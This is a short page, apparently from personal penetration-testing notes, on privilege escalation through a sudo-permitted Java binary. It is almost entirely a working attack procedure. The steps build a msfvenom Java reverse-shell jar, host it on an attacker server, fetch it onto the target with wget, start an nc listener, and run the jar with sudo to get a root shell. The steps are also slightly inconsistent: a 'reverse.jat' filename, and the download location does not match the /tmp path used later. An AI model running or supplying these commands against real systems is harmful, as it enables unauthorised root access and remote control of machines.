> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-lib-jvm-java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64-jre-bin-java.md).

# /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7\_7.x86\_64/jre/bin/java

a)craft a reverse shell payload with msfvenom 

`sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=9999 -f jar -o reverse.jat`

b) Move into a jar file 

`sudo mv reverse.jat reverse.jar`

c)

 `sudo mv reverse.jar /var/www/html`

d) Start an nginx server for deployment on target 

 `sudo service nginx start`

e) From target, wget the payload 

 `wget http://10.10.10.10/reverse.jar`

f) From kali start a listener 

 `nc -nvlp 9999`

g) Trigger the exploit from target 

`sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar /tmp/reverse.jar`